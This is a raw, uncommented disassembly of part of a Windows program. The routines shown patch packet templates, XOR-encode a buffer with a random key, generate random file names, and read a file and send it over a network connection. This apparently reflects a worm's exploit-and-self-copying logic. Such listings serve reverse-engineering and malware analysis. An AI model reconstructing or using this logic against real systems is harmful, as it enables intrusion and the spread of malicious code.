loc_41249A:				; CODE XREF: sub_412448+2Dj
		jmp	short loc_412453
; ---------------------------------------------------------------------------


loc_41249C:				; CODE XREF: sub_412448+18j
		xor	eax, eax

locret_41249E:				; CODE XREF: sub_412448+4Ej
		leave
		retn
sub_412448	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4124A0	proc near		; CODE XREF: sub_4125DF+36p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		and	[ebp+var_4], 0
		and	[ebp+var_10], 0
		and	[ebp+var_8], 0
		and	[ebp+var_C], 0
		cmp	[ebp+arg_8], 1
		jnz	short loc_41250C
		cmp	[ebp+arg_4], 0B2h
		jnb	short loc_4124CC
		xor	eax, eax
		jmp	locret_4125DD
; ---------------------------------------------------------------------------


loc_4124CC:				; CODE XREF: sub_4124A0+23j
		mov	[ebp+var_C], 0B2h
		push	[ebp+var_C]
		push	offset dword_41C964
		push	[ebp+arg_0]
		call	sub_416B52
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		add	eax, 8Fh
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		add	eax, 88h
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_0]
		add	eax, 0ACh
		mov	[ebp+var_8], eax
		jmp	loc_41259C
; ---------------------------------------------------------------------------


loc_41250C:				; CODE XREF: sub_4124A0+1Aj
		cmp	[ebp+arg_8], 2
		jnz	short loc_412554
		cmp	[ebp+arg_4], 0C6h
		jnb	short loc_412522
		xor	eax, eax
		jmp	locret_4125DD
; ---------------------------------------------------------------------------


loc_412522:				; CODE XREF: sub_4124A0+79j
		mov	[ebp+var_C], 0C6h
		push	[ebp+var_C]
		push	offset dword_41C89C
		push	[ebp+arg_0]
		call	sub_416B52
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		add	eax, 89h
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_0]
		add	eax, 0C0h
		mov	[ebp+var_8], eax
		jmp	short loc_41259C
; ---------------------------------------------------------------------------


loc_412554:				; CODE XREF: sub_4124A0+70j
		cmp	[ebp+arg_4], 0B2h
		jnb	short loc_412561
		xor	eax, eax
		jmp	short locret_4125DD
; ---------------------------------------------------------------------------


loc_412561:				; CODE XREF: sub_4124A0+BBj
		mov	[ebp+var_C], 0B2h
		push	[ebp+var_C]
		push	offset dword_41C7E8
		push	[ebp+arg_0]
		call	sub_416B52
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		add	eax, 86h
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		add	eax, 8Dh
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_0]
		add	eax, 0ACh
		mov	[ebp+var_8], eax


loc_41259C:				; CODE XREF: sub_4124A0+67j
					; sub_4124A0+B2j
		cmp	[ebp+var_4], 0
		jz	short loc_4125B0
		push	[ebp+arg_C]
		call	dword_417244
		mov	ecx, [ebp+var_4]
		mov	[ecx], eax


loc_4125B0:				; CODE XREF: sub_4124A0+100j
		cmp	[ebp+var_10], 0
		jz	short loc_4125CC
		push	[ebp+arg_10]
		call	sub_416B9C
		pop	ecx
		push	eax
		call	dword_417238
		mov	ecx, [ebp+var_10]
		mov	[ecx], ax


loc_4125CC:				; CODE XREF: sub_4124A0+114j
		cmp	[ebp+var_8], 0
		jz	short loc_4125DA
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_14]
		mov	[eax], ecx


loc_4125DA:				; CODE XREF: sub_4124A0+130j
		mov	eax, [ebp+var_C]

locret_4125DD:				; CODE XREF: sub_4124A0+27j
					; sub_4124A0+7Dj ...
		leave
		retn
sub_4124A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4125DF	proc near		; CODE XREF: sub_410649+8Bp
					; sub_410B52+41p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		cmp	[ebp+arg_4], 1Ch
		jnb	short loc_4125F2
		xor	eax, eax
		jmp	locret_41271E
; ---------------------------------------------------------------------------


loc_4125F2:				; CODE XREF: sub_4125DF+Aj
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_0]
		add	eax, 1Ch
		mov	[ebp+var_4], eax
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1E4h
		push	[ebp+var_4]
		call	sub_4124A0
		add	esp, 18h
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_41262D
		xor	eax, eax
		jmp	locret_41271E
; ---------------------------------------------------------------------------


loc_41262D:				; CODE XREF: sub_4125DF+45j
		push	1Ch
		push	offset loc_41C7C8
		push	[ebp+var_10]
		call	sub_416B52
		add	esp, 0Ch
		mov	eax, dword_41CB98
		mov	[ebp+var_8], eax
		jmp	short loc_412659
; ---------------------------------------------------------------------------


loc_412649:				; CODE XREF: sub_4125DF+94j
					; sub_4125DF:loc_41269Aj
		call	sub_410422
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		mov	dword_41CB98, eax


loc_412659:				; CODE XREF: sub_4125DF+68j
		push	0
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	4
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_412448
		add	esp, 14h
		test	eax, eax
		jz	short loc_412675
		jmp	short loc_412649
; ---------------------------------------------------------------------------


loc_412675:				; CODE XREF: sub_4125DF+92j
		mov	eax, [ebp+var_14]
		xor	eax, [ebp+var_8]
		mov	[ebp+var_1C], eax
		push	0
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	4
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_412448
		add	esp, 14h
		test	eax, eax
		jnz	short loc_41269A
		jmp	short loc_41269C
; ---------------------------------------------------------------------------


loc_41269A:				; CODE XREF: sub_4125DF+B7j
		jmp	short loc_412649
; ---------------------------------------------------------------------------


loc_41269C:				; CODE XREF: sub_4125DF+B9j
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		mov	[eax+3], ecx
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_1C]
		mov	[eax+9], ecx
		mov	al, byte_41CB95
		mov	byte ptr [ebp+var_C], al
		jmp	short loc_4126C8
; ---------------------------------------------------------------------------


loc_4126B8:				; CODE XREF: sub_4125DF+104j
		call	sub_410461
		mov	byte ptr [ebp+var_C], al
		mov	al, byte ptr [ebp+var_C]
		mov	byte_41CB95, al


loc_4126C8:				; CODE XREF: sub_4125DF+D7j
		push	[ebp+var_C]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_14]
		push	[ebp+var_4]
		call	sub_412448
		add	esp, 14h
		test	eax, eax
		jz	short loc_4126E5
		jmp	short loc_4126B8
; ---------------------------------------------------------------------------


loc_4126E5:				; CODE XREF: sub_4125DF+102j
		mov	eax, [ebp+var_10]
		mov	cl, byte ptr [ebp+var_C]
		mov	[eax+12h], cl
		and	[ebp+var_18], 0
		jmp	short loc_4126FB
; ---------------------------------------------------------------------------


loc_4126F4:				; CODE XREF: sub_4125DF+137j
		mov	eax, [ebp+var_18]
		inc	eax
		mov	[ebp+var_18], eax


loc_4126FB:				; CODE XREF: sub_4125DF+113j
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_14]
		jnb	short loc_412718
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_18]
		mov	al, [eax]
		xor	al, byte ptr [ebp+var_C]
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+var_18]
		mov	[ecx], al
		jmp	short loc_4126F4
; ---------------------------------------------------------------------------


loc_412718:				; CODE XREF: sub_4125DF+122j
		mov	eax, [ebp+var_14]
		add	eax, 1Ch

locret_41271E:				; CODE XREF: sub_4125DF+Ej
					; sub_4125DF+49j
		leave
		retn
sub_4125DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412720	proc near		; CODE XREF: sub_412A3A+Cp
					; sub_412BC9+DFp ...

var_194		= dword	ptr -194h
var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_E4		= byte ptr -0E4h
var_10		= byte ptr -10h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 194h
		push	8
		push	4
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_194], eax
		and	[ebp+var_190], 0


loc_412741:				; CODE XREF: sub_412720:loc_41278Aj
		push	7Ah
		push	61h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_190]
		mov	[ebp+ecx+var_10], al
		mov	eax, [ebp+var_190]
		inc	eax
		mov	[ebp+var_190], eax
		mov	eax, [ebp+var_190]
		cmp	eax, [ebp+var_194]
		jnz	short loc_41278A
		push	offset dword_418620
		mov	eax, [ebp+var_190]
		lea	eax, [ebp+eax+var_10]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_41278C
; ---------------------------------------------------------------------------


loc_41278A:				; CODE XREF: sub_412720+4Fj
		jmp	short loc_412741
; ---------------------------------------------------------------------------


loc_41278C:				; CODE XREF: sub_412720+68j
		push	17Ch
		push	offset dword_41CA18
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_E4]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		push	17Ch
		lea	eax, [ebp+var_18C]
		push	eax
		push	[ebp+arg_0]
		call	sub_4053BF
		add	esp, 0Ch
		leave
		retn
sub_412720	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4127D0	proc near		; CODE XREF: sub_412A3A+14Dp
					; sub_412BC9+133p ...

var_24C		= byte ptr -24Ch
var_22C		= byte ptr -22Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 24Ch
		cmp	dword_41EBFC, 0
		jnz	loc_4128A0
		mov	dword_41EBFC, 1
		and	[ebp+var_20C], 0
		jmp	short loc_412806
; ---------------------------------------------------------------------------


loc_4127F9:				; CODE XREF: sub_4127D0:loc_41289Bj
		mov	eax, [ebp+var_20C]
		inc	eax
		mov	[ebp+var_20C], eax


loc_412806:				; CODE XREF: sub_4127D0+27j
		mov	eax, [ebp+var_20C]
		imul	eax, 0Ch
		cmp	off_41DB20[eax], 0
		jz	loc_4128A0
		push	20h
		mov	eax, [ebp+var_20C]
		imul	eax, 0Ch
		push	off_41DB20[eax]
		lea	eax, [ebp+var_22C]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	20h
		mov	eax, [ebp+var_20C]
		imul	eax, 0Ch
		push	off_41CBA0[eax]
		lea	eax, [ebp+var_24C]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_22C]
		push	eax
		call	sub_4105AD
		pop	ecx
		lea	eax, [ebp+var_24C]
		push	eax
		call	sub_4105AD
		pop	ecx
		lea	eax, [ebp+var_24C]
		push	eax
		lea	eax, [ebp+var_22C]
		push	eax
		call	sub_416DDE
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41289B
		mov	dword_41EC00, 1
		jmp	short loc_4128A0
; ---------------------------------------------------------------------------


loc_41289B:				; CODE XREF: sub_4127D0+BDj
		jmp	loc_4127F9
; ---------------------------------------------------------------------------


loc_4128A0:				; CODE XREF: sub_4127D0+10j
					; sub_4127D0+46j ...
		cmp	dword_41EC00, 0
		jz	short loc_4128AE
		push	1
		pop	eax
		jmp	short locret_412917
; ---------------------------------------------------------------------------


loc_4128AE:				; CODE XREF: sub_4127D0+D7j
		push	offset aRb	; "rb"
		push	offset dword_41ED20
		call	sub_416B88
		pop	ecx
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_4128CC
		xor	eax, eax
		jmp	short locret_412917
; ---------------------------------------------------------------------------


loc_4128CC:				; CODE XREF: sub_4127D0+F6j
		and	[ebp+var_4], 0


loc_4128D0:				; CODE XREF: sub_4127D0+145j
		push	[ebp+var_8]
		push	200h
		push	1
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_416B90
		add	esp, 10h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_412900
		push	[ebp+var_8]
		call	sub_416B82
		pop	ecx
		push	1
		pop	eax
		jmp	short locret_412917
; ---------------------------------------------------------------------------


loc_412900:				; CODE XREF: sub_4127D0+120j
		push	[ebp+var_4]
		lea	eax, [ebp+var_208]
		push	eax
		push	[ebp+arg_0]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	short loc_4128D0
; ---------------------------------------------------------------------------

locret_412917:				; CODE XREF: sub_4127D0+DCj
					; sub_4127D0+FAj ...
		leave
		retn
sub_4127D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412919	proc near		; CODE XREF: sub_412BC9+E8p
					; sub_412D56+18p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	0EA60h
		push	[ebp+arg_0]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_412938
		xor	eax, eax
		jmp	short locret_41294C
; ---------------------------------------------------------------------------


loc_412938:				; CODE XREF: sub_412919+19j
		push	0
		push	4
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	dword_417248
		mov	eax, [ebp+var_4]

locret_41294C:				; CODE XREF: sub_412919+1Dj
		leave
		retn
sub_412919	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41294E	proc near		; CODE XREF: sub_412BC9+115p
					; sub_412D56+3Bp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		and	[ebp+var_8], 0
		jmp	short loc_412964
; ---------------------------------------------------------------------------


loc_41295D:				; CODE XREF: sub_41294E:loc_4129C3j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_412964:				; CODE XREF: sub_41294E+Dj
		mov	eax, [ebp+var_8]
		imul	eax, 3Ah
		cmp	off_41CDB6[eax], 0
		jz	short loc_4129C5
		mov	eax, [ebp+var_8]
		imul	eax, 3Ah
		mov	eax, dword_41CDAE[eax]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_4129C3
		mov	eax, [ebp+var_8]
		imul	eax, 3Ah
		add	eax, offset byte_41CD88
		mov	[ebp+var_4], eax
		push	3Ah
		mov	eax, [ebp+var_8]
		imul	eax, 3Ah
		add	eax, offset byte_41CD88
		push	eax
		push	[ebp+arg_4]
		call	sub_416B52
		add	esp, 0Ch
		push	[ebp+arg_4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 13h
		push	eax
		call	sub_4105FB
		pop	ecx
		jmp	short loc_4129C5
; ---------------------------------------------------------------------------


loc_4129C3:				; CODE XREF: sub_41294E+34j
		jmp	short loc_41295D
; ---------------------------------------------------------------------------


loc_4129C5:				; CODE XREF: sub_41294E+23j
					; sub_41294E+73j
		mov	eax, [ebp+var_4]
		leave
		retn
sub_41294E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4129CA	proc near		; CODE XREF: sub_412A3A+16Bp
					; sub_412BC9+15Ap ...

var_104		= dword	ptr -104h
var_100		= byte ptr -100h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	1
		mov	eax, [ebp+arg_0]
		add	eax, 2Ah
		push	eax
		call	sub_409C88
		pop	ecx
		pop	ecx
		mov	[ebp+var_104], eax
		lea	eax, [ebp+var_100]
		push	eax
		push	[ebp+arg_8]
		call	sub_4044F7
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_412A11
		push	offset aUnknown	; "unknown"
		lea	eax, [ebp+var_100]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_412A11:				; CODE XREF: sub_4129CA+32j
		lea	eax, [ebp+var_100]
		push	eax
		mov	eax, [ebp+var_104]
		inc	eax
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	offset dword_41A1D0
		push	offset dword_41DB90
		call	sub_40D4AB
		add	esp, 18h
		leave
		retn
sub_4129CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412A3A	proc near		; CODE XREF: sub_41331E+148p

var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= byte ptr -248h
var_235		= byte ptr -235h
var_222		= dword	ptr -222h
var_20C		= dword	ptr -20Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 250h
		push	[ebp+arg_4]
		call	sub_412720
		pop	ecx
		push	3Ah
		push	[ebp+arg_0]
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_235]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_20C+3]
		mov	[ebp+var_8], eax
		push	203h
		push	0
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B6A
		add	esp, 0Ch
		and	[ebp+var_4], 0
		jmp	short loc_412AA6
; ---------------------------------------------------------------------------


loc_412A9F:				; CODE XREF: sub_412A3A+8Aj
					; sub_412A3A:loc_412B7Fj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_412AA6:				; CODE XREF: sub_412A3A+63j
		cmp	[ebp+var_4], 3Ch
		jnz	short loc_412AB1
		jmp	locret_412BC7
; ---------------------------------------------------------------------------


loc_412AB1:				; CODE XREF: sub_412A3A+70j
		push	3E8h
		push	[ebp+arg_4]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_412AC6
		jmp	short loc_412A9F
; ---------------------------------------------------------------------------


loc_412AC6:				; CODE XREF: sub_412A3A+88j
		push	200h
		push	[ebp+var_8]
		push	[ebp+arg_4]
		call	sub_4053DC
		add	esp, 0Ch
		mov	[ebp+var_24C], eax
		cmp	[ebp+var_24C], 0FFFFFFFFh
		jnz	short loc_412AED
		jmp	locret_412BC7
; ---------------------------------------------------------------------------


loc_412AED:				; CODE XREF: sub_412A3A+ACj
		cmp	[ebp+var_24C], 0
		jz	short loc_412B69
		and	[ebp+var_250], 0
		jmp	short loc_412B0C
; ---------------------------------------------------------------------------


loc_412AFF:				; CODE XREF: sub_412A3A:loc_412B34j
		mov	eax, [ebp+var_250]
		inc	eax
		mov	[ebp+var_250], eax


loc_412B0C:				; CODE XREF: sub_412A3A+C3j
		mov	eax, [ebp+var_250]
		cmp	eax, [ebp+var_24C]
		jnb	short loc_412B36
		mov	eax, [ebp+var_250]
		mov	eax, [ebp+eax+var_20C]
		cmp	eax, [ebp+var_222]
		jnz	short loc_412B34
		jmp	loc_412BC5
; ---------------------------------------------------------------------------


loc_412B34:				; CODE XREF: sub_412A3A+F3j
		jmp	short loc_412AFF
; ---------------------------------------------------------------------------


loc_412B36:				; CODE XREF: sub_412A3A+DEj
		push	3
		mov	eax, [ebp+var_24C]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-3]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		push	200h
		push	0
		push	[ebp+var_8]
		call	sub_416B6A
		add	esp, 0Ch
		jmp	short loc_412B7F
; ---------------------------------------------------------------------------


loc_412B69:				; CODE XREF: sub_412A3A+BAj
		push	203h
		push	0
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B6A
		add	esp, 0Ch


loc_412B7F:				; CODE XREF: sub_412A3A+12Dj
		jmp	loc_412A9F
; ---------------------------------------------------------------------------


loc_412B84:				; CODE XREF: sub_412A3A:loc_412BC5j
		push	[ebp+arg_4]
		call	sub_4127D0
		pop	ecx
		test	eax, eax
		jnz	short loc_412B93
		jmp	short locret_412BC7
; ---------------------------------------------------------------------------


loc_412B93:				; CODE XREF: sub_412A3A+155j
		push	offset dword_41CD1C
		push	[ebp+arg_4]
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_0]
		call	sub_4129CA
		add	esp, 10h
		push	1
		push	[ebp+arg_4]
		call	dword_417200
		push	3E8h
		call	dword_41709C
		jmp	short locret_412BC7
; ---------------------------------------------------------------------------


loc_412BC5:				; CODE XREF: sub_412A3A+F5j
		jmp	short loc_412B84
; ---------------------------------------------------------------------------

locret_412BC7:				; CODE XREF: sub_412A3A+72j
					; sub_412A3A+AEj ...
		leave
		retn
sub_412A3A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412BC9	proc near		; CODE XREF: sub_41331E+165p

var_85C		= dword	ptr -85Ch
var_858		= dword	ptr -858h
var_854		= dword	ptr -854h
var_850		= dword	ptr -850h
var_84C		= byte ptr -84Ch
var_810		= dword	ptr -810h
var_80C		= dword	ptr -80Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 85Ch
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_404FE7
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		mov	[ebp+var_854], 3Ch
		and	[ebp+var_850], 0
		and	[ebp+var_810], 0


loc_412BFD:				; CODE XREF: sub_412BC9+A9j
		and	[ebp+var_85C], 0
		jmp	short loc_412C13
; ---------------------------------------------------------------------------


loc_412C06:				; CODE XREF: sub_412BC9:loc_412C35j
		mov	eax, [ebp+var_85C]
		inc	eax
		mov	[ebp+var_85C], eax


loc_412C13:				; CODE XREF: sub_412BC9+3Bj
		mov	eax, [ebp+var_85C]
		cmp	eax, [ebp+var_810]
		jnb	short loc_412C37
		mov	eax, [ebp+var_85C]
		mov	eax, [ebp+eax*4+var_80C]
		cmp	eax, [ebp+var_8]
		jnz	short loc_412C35
		jmp	short loc_412C37
; ---------------------------------------------------------------------------


loc_412C35:				; CODE XREF: sub_412BC9+68j
		jmp	short loc_412C06
; ---------------------------------------------------------------------------


loc_412C37:				; CODE XREF: sub_412BC9+56j
					; sub_412BC9+6Aj
		mov	eax, [ebp+var_85C]
		cmp	eax, [ebp+var_810]
		jnz	short loc_412C6E
		cmp	[ebp+var_810], 200h
		jnb	short loc_412C6E
		mov	eax, [ebp+var_85C]
		mov	ecx, [ebp+var_8]
		mov	[ebp+eax*4+var_80C], ecx
		mov	eax, [ebp+var_810]
		inc	eax
		mov	[ebp+var_810], eax


loc_412C6E:				; CODE XREF: sub_412BC9+7Aj
					; sub_412BC9+86j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_412BFD
		lea	eax, [ebp+var_854]
		push	eax
		push	0
		lea	eax, [ebp+var_810]
		push	eax
		push	0
		push	0
		call	dword_41722C
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 1
		jz	short loc_412CA5
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		jmp	locret_412D4A
; ---------------------------------------------------------------------------


loc_412CA5:				; CODE XREF: sub_412BC9+CCj
		push	[ebp+var_8]
		call	sub_412720
		pop	ecx
		push	[ebp+var_8]
		call	sub_412919
		pop	ecx
		mov	[ebp+var_858], eax
		cmp	[ebp+var_858], 0
		jnz	short loc_412CD1
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		jmp	short locret_412D4A
; ---------------------------------------------------------------------------


loc_412CD1:				; CODE XREF: sub_412BC9+FBj
		lea	eax, [ebp+var_84C]
		push	eax
		push	[ebp+var_858]
		call	sub_41294E
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_412CF9
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		jmp	short locret_412D4A
; ---------------------------------------------------------------------------


loc_412CF9:				; CODE XREF: sub_412BC9+123j
		push	[ebp+var_8]
		call	sub_4127D0
		pop	ecx
		test	eax, eax
		jnz	short loc_412D11
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		jmp	short locret_412D4A
; ---------------------------------------------------------------------------


loc_412D11:				; CODE XREF: sub_412BC9+13Bj
		push	offset dword_41CD20
		push	[ebp+var_8]
		lea	eax, [ebp+var_84C]
		push	eax
		push	[ebp+var_4]
		call	sub_4129CA
		add	esp, 10h
		push	1
		push	[ebp+var_8]
		call	dword_417200
		push	3E8h
		call	dword_41709C
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx

locret_412D4A:				; CODE XREF: sub_412BC9+D7j
					; sub_412BC9+106j ...
		leave
		retn
sub_412BC9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412D4C	proc near		; CODE XREF: sub_41331E:loc_413420p
		push	ebp
		mov	ebp, esp
		mov	eax, offset dword_41EC04
		pop	ebp
		retn
sub_412D4C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412D56	proc near		; DATA XREF: sub_412E04+CAo

var_48		= dword	ptr -48h
var_44		= byte ptr -44h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		push	[ebp+var_8]
		call	sub_412720
		pop	ecx
		push	[ebp+var_8]
		call	sub_412919
		pop	ecx
		mov	[ebp+var_48], eax
		cmp	[ebp+var_48], 0
		jnz	short loc_412D8A
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	short locret_412E00
; ---------------------------------------------------------------------------


loc_412D8A:				; CODE XREF: sub_412D56+25j
		lea	eax, [ebp+var_44]
		push	eax
		push	[ebp+var_48]
		call	sub_41294E
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_412DAE
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	short locret_412E00
; ---------------------------------------------------------------------------


loc_412DAE:				; CODE XREF: sub_412D56+49j
		push	[ebp+var_8]
		call	sub_4127D0
		pop	ecx
		test	eax, eax
		jnz	short loc_412DC8
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	short locret_412E00
; ---------------------------------------------------------------------------


loc_412DC8:				; CODE XREF: sub_412D56+63j
		push	offset dword_41CD24
		push	[ebp+var_8]
		lea	eax, [ebp+var_44]
		push	eax
		push	[ebp+var_4]
		call	sub_4129CA
		add	esp, 10h
		push	1
		push	[ebp+var_8]
		call	dword_417200
		push	3E8h
		call	dword_41709C
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax

locret_412E00:				; CODE XREF: sub_412D56+32j
					; sub_412D56+56j ...
		leave
		retn	4
sub_412D56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412E04	proc near		; DATA XREF: sub_412F07+B0o

var_1B8		= dword	ptr -1B8h
var_1B4		= dword	ptr -1B4h
var_1B0		= byte ptr -1B0h
var_1AA		= byte ptr -1AAh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B8h
		push	1ADh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1B4]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C
		pop	ecx
		push	1
		lea	eax, [ebp+var_1B0]
		push	eax
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_412E59
		push	[ebp+var_1B4]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_412F03
; ---------------------------------------------------------------------------


loc_412E59:				; CODE XREF: sub_412E04+40j
		lea	eax, [ebp+var_1B0]
		push	eax
		mov	eax, [ebp+var_1B4]
		push	dword ptr [eax]
		push	offset dword_41CD28
		lea	eax, [ebp+var_1AA]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		lea	eax, [ebp+var_1B0]
		push	eax
		push	offset dword_41EC04
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_412E8F:				; CODE XREF: sub_412E04+B7j
					; sub_412E04:loc_412EEAj
